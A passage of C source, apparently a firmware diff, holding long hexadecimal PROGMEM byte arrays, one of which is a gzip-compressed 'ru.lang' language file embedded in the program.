0x1f, 0x21, 0xcc, 0xfd, 0x58, 0x2f, 0x6c, 0xbf, 0x4a, 0x25, 0x95, 0x79, 0x31, 0x9e, 0x85, 0xdb, 0x06, 0x38, 0x13, 0x51, 0xa6, 0x34, 0x9c, 0x91, 0x78, 0x64, 0xb4, 0x92, 0x21, 0x50, 0x2c, 0x40, 0x6c, 0x04, 0x93, 0x24, 0xea, 0x58, 0xe5, 0xf0, 0x7c, 0x4a, 0x96, 0x8c, 0xac, 0x6e, 0x7a, 0xa1, 0xd9, 0xd1, 0xcd, 0x53, 0x01, 0x81, 0x0c, 0xe8, 0x1a, 0x9a, 0xa2, 0xbf, 0xa5, 0x3f, 0xc0, 0x0a, 0x42, 0x19, 0x9b, 0xa7, 0x8a, 0xb8, 0xca, 0x0d, 0x43, 0x35, 0x14, 0x10, 0x21, 0x00, 0x0a, 0x00, 0x27, 0xc8, 0x8f, 0x8d, 0x87, 0x72, 0x46, 0x61, 0x93, 0x60, 0x62, 0x70, 0x52, 0x2d, 0x29, 0x3d, 0x13, 0xcc, 0x1a, 0xa1, 0xb0, 0x9b, 0xda, 0x84, 0xc4, 0xea, 0xe0, 0x49, 0x6d, 0x25, 0xae, 0x8f, 0x1e, 0xdc, 0xbb, 0xf7, 0x47, 0x23, 0xda, 0x06, 0x10, 0x79, 0x11, 0x06, 0x1a, 0xd9, 0xbb, 0x42, 0xc8, 0xeb, 0xbb, 0x9f, 0xeb, 0x36, 0xc0, 0xd6, 0x9d, 0x1d, 0x79, 0x38, 0xb1, 0x61, 0xf5, 0x2b, 0x6b, 0x84, 0x79, 0x28, 0x30, 0x36, 0xc3, 0xa8, 0x89, 0x36, 0xca, 0x1e, 0xa7, 0x47, 0x23, 0x33, 0x54, 0xc1, 0x96, 0xea, 0xb3, 0xa1, 0x90, 0x27, 0xec, 0xe5, 0xc4, 0x57, 0x33, 0x1c, 0x54, 0x68, 0x1a, 0x1b, 0x88, 0x9d, 0x15, 0x66, 0xdb, 0x13, 0x64, 0x5a, 0x5f, 0xa6, 0x26, 0x88, 0x4f, 0xab, 0x85, 0x84, 0x89, 0x33, 0xb3, 0x37, 0x02, 0x52, 0xfe, 0x68, 0x1b, 0x81, 0xcf, 0x5b, 0x2a, 0x20, 0x6b, 0x8b, 0x5f, 0xd4, 0xda, 0x8c, 0x11, 0x1b, 0x67, 0xb1, 0x6d, 0x8c, 0x98, 0x73, 0xc5, 0xb3, 0x4a, 0x7b, 0x1b, 0x62, 0x1d, 0x25, 0x12, 0x5c, 0x72, 0xad, 0x9b, 0xc5, 0x00, 0xeb, 0x08, 0x22, 0x80, 0x9d, 0x84, 0xd0, 0xf0, 0x1c, 0x0d, 0x29, 0x70, 0x18, 0x21, 0x68, 0x3c, 0xf7, 0x63, 0x2b, 0x20, 0x9a, 0x9a, 0x41, 0xba, 0xe0, 0x84, 0x9e, 0xe9, 0x85, 0x74, 0xdc, 0x21, 0x3d, 0x90, 0x3a, 0x55, 0x86, 0x82, 0x16, 0x37, 0xf6, 0xb7, 0x60, 0xd3, 0x7e, 0x6c, 0x48, 0x19, 0xb8, 0xd2, 0xc8, 0xf4, 0xe2, 0x03, 0x76, 0x0d, 0x12, 0xa4, 0x8c, 0x25, 0x37, 0x35, 0xae, 0xa4, 0xdd, 0x9b, 0xb1, 0x86, 0x69, 0x96, 0x20, 0x1a, 0x36, 0x6e, 0x34, 0x79, 0x1d, 0x44, 0xff, 0x0c, 0xa4, 0xac, 0x0a, 0x6a, 0xb1, 0x28, 0xdd, 0xed, 0x07, 0xe0, 0x14, 0xd9, 0xa3, 0x1f, 0xf4, 0x86, 0x36, 0xc8, 0xad, 0xd4, 0xc6, 0xc9, 0xd9, 0xd0, 0x7e, 0x68, 0x42, 0x57, 0x0c, 0x4c, 0x61, 0x89, 0x76, 0x12, 0x19, 0xcb, 0x8e, 0xc6, 0x6b, 0x6d, 0x9f, 0x7a, 0xef, 0xd4, 0xa0, 0x31, 0x12, 0x26, 0xb1, 0xf0, 0xd4, 0x76, 0x40, 0x70, 0x43, 0x11, 0x54, 0x5b, 0xbc, 0x92, 0xac, 0x86, 0x8e, 0xa2, 0xb1, 0x04, 0x62, 0x32, 0xb3, 0x12, 0x96, 0x26, 0x91, 0x57, 0xb9, 0x23, 0xbb, 0xf0, 0x48, 0x2f, 0x07, 0x13, 0x4b, 0x6c, 0xe6, 0x03, 0xa7, 0x92, 0x7c, 0x03, 0x03, 0x96, 0xb9, 0xb1, 0x21, 0x1e, 0x8a, 0xb3, 0x35, 0xa0, 0xd8, 0x77, 0x22, 0x60, 0xea, 0x96, 0x05, 0xaf, 0x5a, 0xe4, 0x09, 0x8c, 0x4a, 0xe6, 0x0d, 0xa9, 0xa5, 0xa6, 0x7b, 0x02, 0x7a, 0x50, 0xd8, 0x32, 0xac, 0xe6, 0x55, 0xf0, 0x02, 0x64, 0xb0, 0xf3, 0xda, 0x21, 0xfd, 0xc0, 0xaf, 0x82, 0x3f, 0x4c, 0xf5, 0xc8, 0x70, 0xf7, 0x2b, 0xb7, 0x32, 0xbb, 0x07, 0xab, 0x7b, 0x0a, 0x0c, 0x4a, 0xb1, 0xf0, 0xaa, 0xc0, 0x8c, 0x90, 0xa3, 0xad, 0xcf, 0x55, 0x4e, 0x28, 0x96, 0x82, 0x04, 0x6d, 0x29, 0x04, 0x39, 0xbb, 0x21, 0x76, 0x63, 0x69, 0x49, 0x47, 0x92, 0xbb, 0x1d, 0x98, 0xd4, 0x2c, 0xb1, 0xd7, 0x96, 0x90, 0xcc, 0x63, 0x16, 0x09, 0xc9, 0x31, 0x92, 0xb3, 0xa7, 0x97, 0x89, 0x61, 0xee, 0xea, 0x2d, 0xca, 0x8d, 0x29, 0xb2, 0xf7, 0x9f, 0x43, 0xc5, 0xc7, 0x43, 0x73, 0x09, 0x38, 0xca, 0x44, 0x33, 0x31, 0x29, 0x7c, 0x16, 0x03, 0xe1, 0xb3, 0x53, 0xa2, 0xca, 0x4c, 0xd5, 0x69, 0xc6, 0x17, 0xf7, 0x97, 0x54, 0x6e, 0xa1, 0x66, 0x6b, 0xbb, 0xee, 0x3a, 0xc4, 0x52, 0x53, 0x2e, 0x86, 0xca, 0xfe, 0x36, 0x8a, 0xbe, 0x7f, 0xf3, 0x51, 0x55, 0xad, 0xdf, 0x4c, 0x2a, 0x7e, 0xfd, 0xcb, 0x2a, 0xee, 0xf7, 0x7d, 0xb9, 0x52, 0xe4, 0xea, 0x39, 0x21, 0x02, 0xc1, 0x25, 0x73, 0x99, 0x85, 0x08, 0x94, 0x9e, 0xd2, 0x69, 0x83, 0x8c, 0x34, 0x60, 0x5e, 0x25, 0x23, 0xff, 0xbf, 0xbb, 0x58, 0xaa, 0x69, 0x5b, 0x66, 0xe5, 0x79, 0x88, 0xbd, 0x36, 0x51, 0x52, 0x5f, 0x13, 0xf4, 0xca, 0x22, 0x8e, 0xd3, 0x4d, 0xe3, 0x4c, 0x61, 0x5f, 0x89, 0x5f, 0x3e, 0x05, 0x45, 0x30, 0xe4, 0x2e, 0xf1, 0xdc, 0x45, 0x62, 0x99, 0xf2, 0x4b, 0x82, 0x14, 0x1f, 0xd6, 0x3a, 0x0e, 0x99, 0x93, 0x65, 0x00, 0xba, 0x62, 0x11, 0xd1, 0x6d, 0x59, 0x74, 0xa5, 0x01, 0xcb, 0x9c, 0x90, 0xbc, 0xfa, 0xd6, 0xc3, 0x72, 0x33, 0xbb, 0xdf, 0x16, 0x66, 0x3b, 0x6e, 0x51, 0x80, 0xc9, 0x51, 0xc3, 0xa3, 0x9d, 0x13, 0x7f, 0x2f, 0xe5, 0x52, 0x89, 0xca, 0xfe, 0x73, 0xcf, 0x49, 0x33, 0x8f, 0xd3, 0x21, 0x5b, 0x8f, 0x3a, 0x12, 0x6f, 0x7f, 0x13, 0x5d, 0xb5, 0x0b, 0x43, 0x9f, 0x1b, 0x6c, 0xb8, 0x50, 0x26, 0x7a, 0x7a, 0x56, 0x6e, 0x1b, 0xa4, 0xdd, 0x16, 0x29, 0x2f, 0x85, 0x1c, 0xa2, 0x42, 0x93, 0xa6, 0x25, 0xfa, 0x2f, 0x3e, 0x06, 0x85, 0xe4, 0xf9, 0x32, 0xc2, 0x3b, 0xcf, 0x68, 0x57, 0x66, 0x1e, 0xc5, 0x51, 0x93, 0x8f, 0x62, 0x98, 0x76, 0x7d, 0x29, 0x25, 0x92, 0x66, 0x87, 0x82, 0x11, 0x3a, 0xaf, 0x44, 0xe0, 0xdd, 0xdb, 0xcb, 0x7f, 0x21, 0xa3, 0x1f, 0x37, 0x51, 0x9f, 0xcb, 0xc9, 0x4f, 0x12, 0x07, 0x61, 0x9d, 0xac, 0x49, 0x22, 0x7a, 0xe6, 0xc9, 0x51, 0x35, 0x69, 0xc2, 0xd6, 0xf1, 0x16, 0xe9, 0xa7, 0xc5, 0x55, 0x98, 0x07, 0x02, 0xde, 0x1f, 0xc9, 0xdb, 0x36, 0xb5, 0x78, 0x35, 0xc8, 0xd1, 0x4b, 0xf2, 0x2a, 0xec, 0xc0, 0x33, 0x9e, 0xa3, 0x2f, 0x2f, 0xd5, 0x45, 0x8c, 0x7f, 0x5c, 0x57, 0x56, 0xe9, 0xfd, 0xdd, 0xeb, 0xd6, 0x6f, 0xb7, 0xdd, 0xde, 0x3b, 0xeb, 0xf3, 0xb3, 0x47, 0x8f, 0xd6, 0x59, 0x85, 0x3e, 0x61, 0x27, 0x82, 0x4c, 0x6b, 0xc6, 0x07, 0x72, 0x2a, 0x1d, 0x5f, 0x64, 0xfd, 0x33, 0x00, 0xa0, 0x40, 0xb0, 0x7e, 0x3e, 0x3e, 0x3d, 0x31, 0x77, 0x9f, 0xfe, 0xe5, 0xcf, 0x7b, 0x29, 0x50, 0xdb, 0x57, 0xc5, 0x15, 0x5f, 0xfb, 0xce, 0xbe, 0x5a, 0x29, 0x0f, 0x19, 0x03, 0x51, 0xe7, 0x0a, 0xac, 0x68, 0x6b, 0xf3, 0x27, 0x73, 0xff, 0xfe, 0xa1, 0x39, 0x7d, 0xce, 0x2f, 0x5f, 0x1c, 0x9a, 0xbf, 0x5a, 0x36, 0xf2, 0x96, 0xff, 0xfd, 0x61, 0x5f, 0x60, 0x71, 0x7c, 0xae, 0x23, 0x96, 0x48, 0x2a, 0xf9, 0xdd, 0xf1, 0x43, 0x1d, 0x23, 0xfb, 0x59, 0xbf, 0xa7, 0x1c, 0x59, 0x32, 0x76, 0xe2, 0x14, 0x2f, 0x9a, 0xa7, 0x2c, 0x53, 0x8d, 0x76, 0x4c, 0xcc, 0xbb, 0x49, 0xc2, 0x4e, 0xca, 0x71, 0x15, 0x8a, 0xc1, 0xa7, 0x82, 0x31, 0x7b, 0x28, 0xce, 0x9d, 0x46, 0x1d, 0x2a, 0x3c, 0xc3, 0xd2, 0x84, 0x07, 0x73, 0x20, 0xf8, 0x40, 0xe7, 0x75, 0xff, 0xeb, 0x74, 0x4e, 0x03, 0xa7, 0xdf, 0x58, 0xd9, 0x24, 0xf5, 0x13, 0x2a, 0x16, 0x57, 0x8b, 0x21, 0xd8, 0xf2, 0x8a, 0xac, 0xce, 0x4d, 0xf4, 0xf6, 0x96, 0xb3, 0x70, 0x94, 0x05, 0xb0, 0x39, 0x64, 0xd4, 0x10, 0xeb, 0xf7, 0x6f, 0x10, 0x44, 0xdc, 0xbd, 0x87, 0x27, 0xe6, 0xae, 0x6a, 0x79, 0x5b, 0xe1, 0x41, 0xb1, 0x45, 0x7d, 0x4f, 0x23, 0x65, 0xca, 0x67, 0xe2, 0xee, 0xc7, 0x90, 0x6f, 0x4e, 0xa4, 0x43, 0xe9, 0xa6, 0x79, 0x16, 0x8c, 0xc2, 0xb2, 0xaf, 0xb5, 0x14, 0xf1, 0xb7, 0x83, 0x0f, 0x9a, 0x0e, 0x28, 0x95, 0x07, 0x79, 0x23, 0x39, 0xd2, 0xa9, 0x93, 0x4d, 0x6e, 0x91, 0xa1, 0x55, 0x54, 0x72, 0x30, 0xde, 0xaa, 0x95, 0x5f, 0x55, 0xf6, 0xdc, 0xa3, 0xa3, 0x8b, 0x7e, 0x42, 0xb2, 0x13, 0x85, 0xad, 0x04, 0xad, 0x77, 0x67, 0x88, 0xf6, 0xf9, 0x38, 0x34, 0xe0, 0xef, 0x19, 0x1c, 0x7c, 0xf9, 0x0c, 0xb5, 0xb8, 0xd5, 0xf5, 0x02, 0x85, 0x46, 0xc5, 0x66, 0xf0, 0xb1, 0x3c, 0x78, 0x1b, 0x22, 0x08, 0x3f, 0x89, 0x9c, 0xce, 0xed, 0xd0, 0x47, 0x28, 0x25, 0x2c, 0x5c, 0x94, 0x2e, 0x3e, 0x5f, 0x83, 0x30, 0x65, 0x4e, 0x31, 0x94, 0x1d, 0x4f, 0x47, 0xa5, 0xa1, 0x3c, 0x59, 0x9a, 0xad, 0x82, 0xa0, 0x0c, 0x5b, 0x0f, 0x7e, 0xd1, 0x0b, 0x29, 0x83, 0xfe, 0x6c, 0xc1, 0x72, 0x1f, 0x36, 0x63, 0xd0, 0x05, 0xa3, 0x53, 0xfa, 0x71, 0x5c, 0x91, 0x87, 0xdf, 0x99, 0x0f, 0x1c, 0x05, 0xf3, 0x3a, 0xf0, 0x3f, 0x04, 0x62, 0xcb, 0xad, 0x64, 0x64, 0xca, 0x04, 0x2f, 0xa3, 0x7f, 0x29, 0xa8, 0x3e, 0x1d, 0x9e, 0x28, 0x5a, 0x1a, 0x24, 0xf1, 0xe2, 0x5b, 0xfe, 0x0c, 0xc0, 0x7b, 0x84, 0xd8, 0x4a, 0x7a, 0x3e, 0xab, 0xd3, 0x74, 0xd0, 0x22, 0x21, 0x0b, 0xfc, 0xa9, 0x46, 0x55, 0xc6, 0x85, 0xd9, 0x57, 0xf2, 0x4b, 0x80, 0x44, 0xcf, 0x83, 0x2f, 0xbf, 0x5c, 0x22, 0xac, 0x36, 0xb0, 0xa0, 0xae, 0x51, 0x47, 0x9c, 0x93, 0xa7, 0x3e, 0x12, 0x1b, 0xd2, 0x77, 0x3a, 0x71, 0x7a, 0x17, 0x0a, 0x52, 0xcc, 0x25, 0x79, 0xdf, 0xc3, 0xe5, 0xd4, 0xc6, 0xad, 0x6e, 0x39, 0xf4, 0x29, 0xec, 0x53, 0xb2, 0xfa, 0x50, 0x22, 0xa8, 0x0e, 0xe4, 0x0c, 0xf2, 0x96, 0xe8, 0xaa, 0x12, 0xc9, 0x7f, 0xb5, 0x3d, 0xd6, 0xc6, 0x80, 0xaf, 0x4e, 0x51, 0xe9, 0x9b, 0x92, 0x10, 0x3a, 0x95, 0xfb, 0xfc, 0x9b, 0x4a, 0xaf, 0x63, 0x13, 0x79, 0xa7, 0x58, 0xf4, 0xe3, 0x3a, 0xf0, 0x64, 0x1c, 0x5c, 0xf9, 0x0f, 0xe8, 0xac, 0x76, 0x67, 0x33, 0x2a, 0x76, 0x72, 0x4b, 0xe6, 0x1d, 0xea, 0xf8, 0x53, 0xe3, 0x46, 0xd1, 0x3f, 0x6b, 0x78, 0x4b, 0xf3, 0x89, 0x9b, 0x6a, 0x8a, 0x3c, 0x2d, 0x1c, 0xbb, 0xd4, 0x34, 0x8b, 0x9b, 0xb5, 0x61, 0xb7, 0x29, 0x72, 0x36, 0x1b, 0x56, 0xcf, 0x34, 0x61, 0x44, 0xf4, 0xb0, 0x09, 0x08, 0xd2, 0x1f, 0xea, 0xfb, 0xc8, 0x18, 0xf0, 0x1c, 0x18, 0x96, 0xef, 0x81, 0x79, 0x95, 0x2f, 0x41, 0xf3, 0x0b, 0x47, 0x98, 0x0f, 0x84, 0x54, 0xec, 0x2a, 0xab, 0x0e, 0x55, 0x3e, 0x0f, 0x37, 0x70, 0x13, 0x69, 0x26, 0x0c, 0x66, 0x7d, 0xef, 0x5e, 0x4d, 0xf8, 0x7f, 0x3e, 0x9b, 0x7d, 0x48, 0xd0, 0x81, 0xf0, 0xf2, 0x84, 0xce, 0xd9, 0x9a, 0x71, 0x9c, 0x5b, 0x72, 0x9d, 0x0f, 0x08, 0x5b, 0xa5, 0x57, 0x18, 0x2b, 0x32, 0x67, 0xd0, 0xc6, 0xa7, 0x6b, 0x6d, 0x3d, 0x9b, 0xe1, 0x1d, 0x22, 0x8b, 0xa2, 0x19, 0xe7, 0x98, 0x25, 0x07, 0x6d, 0x59, 0xd0, 0x72, 0x44, 0x2e, 0xfd, 0x9f, 0xfc, 0x38, 0x74, 0xf9, 0xfe, 0x4d, 0x87, 0x36, 0xd2, 0xc8, 0xc8, 0x78, 0xe9, 0x5a, 0x22, 0x96, 0xf8, 0x76, 0xe9, 0x48, 0x9d, 0x06, 0x3d, 0xfb, 0xfb, 0xbc, 0x00, 0xf3, 0x40, 0xa6, 0x06, 0xf9, 0x1d, 0x9e, 0x77, 0x70, 0x18, 0x22, 0x45, 0x77, 0x2e, 0xc7, 0xcb, 0x1f, 0x99, 0xd1, 0xe4, 0x46, 0x3d, 0xf1, 0x4a, 0x1d, 0x6c, 0x2e, 0x1b, 0x0e, 0xb6, 0xbc, 0x1d, 0x0e, 0x24, 0x41, 0xbd, 0x25, 0xa9, 0x52, 0x4b, 0x99, 0x7e, 0x2b, 0xd1, 0x21, 0xe9, 0xa7, 0xf2, 0x48, 0xfa, 0xc8, 0x25, 0xa9, 0x48, 0xbf, 0x93, 0x3f, 0x16, 0x58, 0x9e, 0xf5, 0x09, 0x93, 0xf6, 0x1f, 0x4c, 0x20, 0x8e, 0x75, 0x9e, 0x49, 0x18, 0xdd, 0xa5, 0x9f, 0x11, 0x13, 0x6f, 0x51, 0x04, 0xaf, 0xf4, 0x87, 0x05, 0xa4, 0x0a, 0x91, 0xe7, 0xce, 0xc1, 0x67, 0xff, 0xfe, 0xec, 0x7f, 0xe1, 0x29, 0x72, 0xe6, 0x94, 0x1f, 0x00, 0x00}; +const char rulang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x72, 0x75, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xb5, 0x5b, 0x5f, 0x6f, 0x1b, 0xc7, 0x11, 0x7f, 0x6e, 0x3e, 0xc5, 0xd9, 0x4f, 0x36, 0x40, 0xa9, 0xb2, 0xd3, 0x00, 0x69, 0x80, 0x3e, 0xb8, 0x8d, 0x5d, 0x18, 0x68, 0x01, 0x23, 0x4a, 0xda, 0x3e, 0x04, 0x10, 0x28, 0xe9, 0x14, 0xb3, 0x95, 0x48, 0x81, 0xa4, 0xad, 0x14, 0x45, 0x01, 0x53, 0xb4, 0x6a, 0xbb, 0x52, 0xad, 0x20, 0xb0, 0x1b, 0x23, 0xa8, 0xed, 0x24, 0x06, 0x9a, 0x87, 0xa2, 0x08, 0x45, 0xf1, 0xac, 0xe3, 0xbf, 0x13, 0xe0, 0x4f, 0x70, 0xfc, 0x46, 0x9d, 0xf9, 0xcd, 0xec, 0xde, 0xee, 0xdd, 0x31, 0xb2, 0x1b, 0x24, 0x0f, 0x0a, 0x79, 0xdc, 0xdb, 0x9d, 0xff, 0xf3, 0x9b, 0x99, 0xf5, 0x5f, 0xde, 0x0a, 0xe8, 0xbf, 0xf3, 0x9b, 0xd5, 0xfa, 0x27, 0xe7, 0xdf, 0x0b, 0xce, 0x37, 0x6f, 0x9d, 0xaf, 0xc8, 0x93, 0x9d, 0x6a, 0xb3, 0x5e, 0x93, 0x87, 0xe9, 0xf3, 0xf4, 0xab, 0xf4, 0x71, 0xfa, 0x28, 0x7d, 0xa1, 0x9f, 0xfe, 0x49, 0x9f, 0x1f, 0xa7, 0x4f, 0xd3, 0x27, 0xe9, 0x63, 0xb3, 0x7c, 0xbd, 0xd6, 0x5a, 0xdb, 0xac, 0xd6, 0xb6, 0xc2, 0x26, 0xde, 0xf8, 0xef, 0x6c, 0x37, 0x4d, 0x66, 0xbb, 0x41, 0x7a, 0x3a, 0xbb, 0x93, 0x26, 0x69, 0x94, 0x8e, 0xf8, 0xcb, 0x84, 0x3e, 0xbe, 0x4c, 0xa7, 0x69, 0x12, 0xa4, 0xf1, 0xac, 0x93, 0x9e, 0xd2, 0xd7, 0xf1, 0xec, 0x20, 0x3d, 0xa1, 0xff, 0xf7, 0xd3, 0xde, 0x6c, 0x77, 0x76, 0x10, 0xf0, 0x7b, 0x78, 0x38, 0xe2, 0x55, 0x03, 0xfa, 0x78, 0xc8, 0xcf, 0xa2, 0x59, 0x87, 0xfe, 0xc6, 0xd8, 0x8c, 0x96, 0xd2, 0x1e, 0x31, 0xfd, 0x90, 0xc6, 0x41, 0xda, 0x0f, 0xe8, 0xd1, 0x11, 0xfd, 0xd0, 0xcb, 0xf6, 0xa1, 0xf3, 0x78, 0x8b, 0xe9, 0x6c, 0x7f, 0xb6, 0x17, 0xcc, 0xfe, 0x86, 0xaf, 0x87, 0xb3, 0xbd, 0xc5, 0xe0, 0xe3, 0x7a, 0x90, 0x3e, 0x71, 0x4f, 0x9e, 0x75, 0xd3, 0x21, 0xaf, 0x0f, 0x68, 0xcd, 0x31, 0x9d, 0x58, 0x7a, 0x7c, 0x87, 0x76, 0x4d, 0xe8, 0xc0, 0x3d, 0xfe, 0x18, 0x61, 0xfb, 0x21, 0x9f, 0x3d, 0xeb, 0x32, 0x55, 0xa0, 0x69, 0x08, 0xfa, 0xfa, 0xe7, 0x4a, 0x4f, 0x88, 0x98, 0xf7, 0x01, 0xbf, 0x25, 0xab, 0x68, 0x2b, 0x87, 0x44, 0x3a, 0x7c, 0x76, 0x97, 0x36, 0xa1, 0x9f, 0xd3, 0xc9, 0x6c, 0x3f, 0xf8, 0x7d, 0x6d, 0xe1, 0x5a, 0xad, 0xc2, 0x5c, 0x9d, 0x42, 0x4a, 0xcc, 0xac, 0x2c, 0x23, 0x5e, 0xb1, 0x01, 0x3f, 0x19, 0x10, 0x9f, 0x77, 0x40, 0xf9, 0xf5, 0xab, 0x57, 0xaf, 0x06, 0xef, 0x2e, 0x5d, 0x5e, 0xbc, 0x74, 0x89, 0xde, 0x9a, 0xf2, 0xba, 0xa3, 0x74, 0x4c, 0xaf, 0x8f, 0x58, 0x5e, 0xe6, 0xf8, 0x58, 0x7f, 0x62, 0x7d, 0x44, 0xf4, 0x78, 0x1f, 0x62, 0xc4, 0x4f, 0x23, 0xfa, 0x40, 0x6b, 0xd3, 0x68, 0x81, 0x5e, 0x8b, 0xe9, 0x65, 0x12, 0xc3, 0x3d, 0xda, 0xbe, 0x23, 0x3a, 0x9c, 0xed, 0x2f, 0x7e, 0x5c, 0x27, 0xc5, 0xb3, 0xea, 0x7a, 0x44, 0x74, 0x57, 0xd9, 0xe8, 0x81, 0xc6, 0x13, 0xda, 0x96, 0x5f, 0x4f, 0x88, 0xf6, 0x03, 0x55, 0x14, 0x69, 0xb1, 0x23, 0x27, 0xf5, 0x20, 0xb9, 0x3e, 0x9d, 0x36, 0x11, 0x0a, 0x12, 0x7a, 0x38, 0xa1, 0xc7, 0x13, 0x51, 0x9d, 0x8a, 0x36, 0x4a, 0x27, 0x81, 0x8a, 0xb2, 0xc7, 0xbc, 0x56, 0x94, 0x4e, 0x3a, 0x71, 0xc0, 0xe2, 0xb9, 0x87, 0x15, 0xf3, 0x6d, 0xe6, 0x1f, 0xc6, 0xda, 0x98, 0x8e, 0x01, 0xab, 0x79, 0x2e, 0xc5, 0x10, 0x82, 0x1a, 0xcc, 0xec, 0x01, 0xfd, 0x3c, 0xb4, 0x44, 0xa7, 0x23, 0xdd, 0x89, 0x58, 0xe9, 0x7a, 0x96, 0xcb, 0x5f, 0x21, 0xa5, 0xe0, 0xd5, 0x7f, 0xfe, 0x58, 0xdd, 0x22, 0x23, 0x7f, 0x35, 0xae, 0x10, 0x59, 0xbc, 0x38, 0x10, 0x92, 0xc0, 0x1b, 0xb3, 0x70, 0x30, 0x7b, 0x28, 0x8f, 0x06, 0x9e, 0x94, 0xc1, 0x4e, 0x4f, 0x75, 0xde, 0xa5, 0x35, 0x6a, 0x96, 0x86, 0x7a, 0x58, 0x9f, 0x7b, 0x66, 0xda, 0x63, 0x63, 0x4a, 0x1f, 0x13, 0xcf, 0x63, 0x08, 0x8b, 0x4c, 0x43, 0x96, 0xb2, 0xd4, 0xd8, 0x9a, 0xc6, 0xb2, 0x75, 0x1a, 0x55, 0xec, 0x0f, 0x39, 0xeb, 0x4d, 0x40, 0xf5, 0x4b, 0x5e, 0x95, 0x91, 0xcb, 0x1b, 0xc1, 0x7f, 0xee, 0xa9, 0xcd, 0xab, 0x61, 0xd0, 0x6a, 0x7a, 0x0a, 0xed, 0xe0, 0xc0, 0x38, 0x3d, 0x09, 0x0c, 0x65, 0xf6, 0xed, 0x4c, 0xd4, 0x9e, 0x63, 0xab, 0x1d, 0xb0, 0xd9, 0xf0, 0x61, 0xe2, 0x68, 0xcf, 0x49, 0xf0, 0x47, 0x30, 0x29, 0xa2, 0x82, 0xd8, 0x85, 0xc7, 0xb2, 0x86, 0xa6, 0x30, 0x7f, 0xfe, 0xdb, 0x83, 0x2e, 0xac, 0xd8, 0xd9, 0x72, 0x23, 0x3a, 0x16, 0x36, 0x45, 0xce, 0x07, 0x0b, 0x60, 0x35, 0x29, 0xa1, 0xac, 0xb7, 0xbf, 0x93, 0x27, 0x77, 0x98, 0x64, 0x13, 0x03, 0x4e, 0x95, 0xcd, 0x93, 0x4c, 0xda, 0x39, 0x66, 0x3d, 0x61, 0x95, 0xcb, 0xea, 0x84, 0x49, 0x19, 0x29, 0xb1, 0x71, 0x25, 0x80, 0xd4, 0xc9, 0x7a, 0x59, 0xf3, 0xb1, 0xec, 0x30, 0xa5, 0xb5, 0xc7, 0x10, 0x8c, 0x48, 0x8c, 0xb8, 0xeb, 0x43, 0xba, 0x66, 0x63, 0x7a, 0x57, 0x38, 0x1b, 0x83, 0x72, 0xd8, 0x8d, 0xaf, 0xf2, 0x0e, 0x38, 0x90, 0x18, 0xc0, 0xf4, 0x5b, 0x9b, 0xa9, 0xc8, 0x6f, 0xfc, 0xeb, 0x03, 0x8d, 0x75, 0x7d, 0x4b, 0xd6, 0xd4, 0xc4, 0x1b, 0x76, 0x4d, 0x32, 0xaa, 0x03, 0x5a, 0xd5, 0xd5, 0xdf, 0xc8, 0xb8, 0x89, 0xd5, 0xfb, 0x74, 0xf4, 0xb0, 0x10, 0x1b, 0x28, 0x92, 0x5c, 0xab, 0x05, 0xea, 0x0d, 0x8f, 0x10, 0xca, 0xd4, 0x7d, 0xba, 0xd0, 0xbd, 0xca, 0x6f, 0x80, 0x48, 0x23, 0x26, 0xec, 0x04, 0x26, 0x0e, 0x6a, 0xc2, 0xd2, 0x5d, 0xe3, 0xb5, 0xac, 0x43, 0x26, 0xe3, 0x94, 0xc9, 0x06, 0xd3, 0x58, 0xff, 0x1e, 0xe5, 0x80, 0x9f, 0x38, 0x09, 0x60, 0x61, 0xf5, 0x56, 0xbb, 0xdd, 0xa8, 0x23, 0x0f, 0x7c, 0xa7, 0x86, 0x42, 0x07, 0xc6, 0xa0, 0x6e, 0x1c, 0xe8, 0x0e, 0xb4, 0xf1, 0x21, 0x7d, 0x73, 0xf9, 0x86, 0xfd, 0x45, 0x50, 0x1a, 0xb1, 0x14, 0x61, 0xdb, 0x66, 0xb8, 0xd9, 0xa8, 0xae, 0x63, 0xaf, 0x67, 0xc4, 0xff, 0x14, 0x6e, 0x1f, 0xb3, 0xcc, 0xf0, 0x73, 0x6b, 0xad, 0x2a, 0x07, 0x7d, 0x0d, 0x1b, 0x98, 0x66, 0x29, 0x22, 0x5b, 0xd2, 0xaa, 0xad, 0xb7, 0x78, 0xcd, 0xf2, 0xf2, 0xf5, 0xf7, 0x5b, 0x78, 0x54, 0x6d, 0xb7, 0xab, 0x6b, 0x7f, 0xc2, 0xc3, 0xf4, 0x33, 0x90, 0x45, 0x4a, 0x97, 0xc5, 0x61, 0xbb, 0x4d, 0x59, 0x4f, 0x7e, 0xfa, 0x12, 0x54, 0xde, 0x25, 0xa2, 0x8e, 0x49, 0x64, 0x77, 0x8c, 0x11, 0x63, 0x61, 0xad, 0xbe, 0xd1, 0xc0, 0xa2, 0x27, 0x79, 0x09, 0x39, 0x0b, 0x56, 0x5a, 0xdb, 0x4a, 0x5e, 0xc9, 0x2a, 0x7a, 0x0c, 0x5a, 0x36, 0x37, 0xb1, 0xe2, 0x73, 0x16, 0x29, 0x9e, 0xac, 0xdd, 0xac, 0xd6, 0xeb, 0xe1, 0xa6, 0x92, 0xd0, 0x83, 0x33, 0x8c, 0x45, 0xc6, 0xe1, 0xed, 0xda, 0x5a, 0xd8, 0x52, 0x86, 0x93, 0xd9, 0x9e, 0x04, 0x4c, 0x91, 0x47, 0x49, 0x3a, 0x4a, 0x13, 0x65, 0x6a, 0x33, 0x5c, 0x6b, 0xaf, 0x64, 0x27, 0xed, 0x6b, 0xfc, 0xe3, 0xb7, 0x48, 0xda, 0xe6, 0xe0, 0xf5, 0x30, 0xb7, 0xf2, 0x19, 0x6d, 0x32, 0x51, 0x4b, 0xc9, 0xad, 0x6d, 0x86, 0x5b, 0x8d, 0xdb, 0xa1, 0x5d, 0xf9, 0x82, 0x8d, 0x8e, 0xdd, 0x27, 0xbf, 0xae, 0xd5, 0xae, 0xb6, 0x6b, 0x8d, 0xfa, 0x0a, 0x2b, 0x6a, 0xa5, 0x4d, 0xe6, 0xa1, 0x24, 0x70, 0x38, 0x9c, 0x48, 0x72, 0xcd, 0x29, 0x4e, 0xed, 0xd2, 0x58, 0x33, 0x8c, 0x6e, 0x88, 0xbd, 0xea, 0xe1, 0x0e, 0xde, 0x7e, 0x8a, 0x85, 0x89, 0x39, 0xa1, 0x7a, 0x3b, 0x2c, 0x97, 0x88, 0xc8, 0x77, 0x5d, 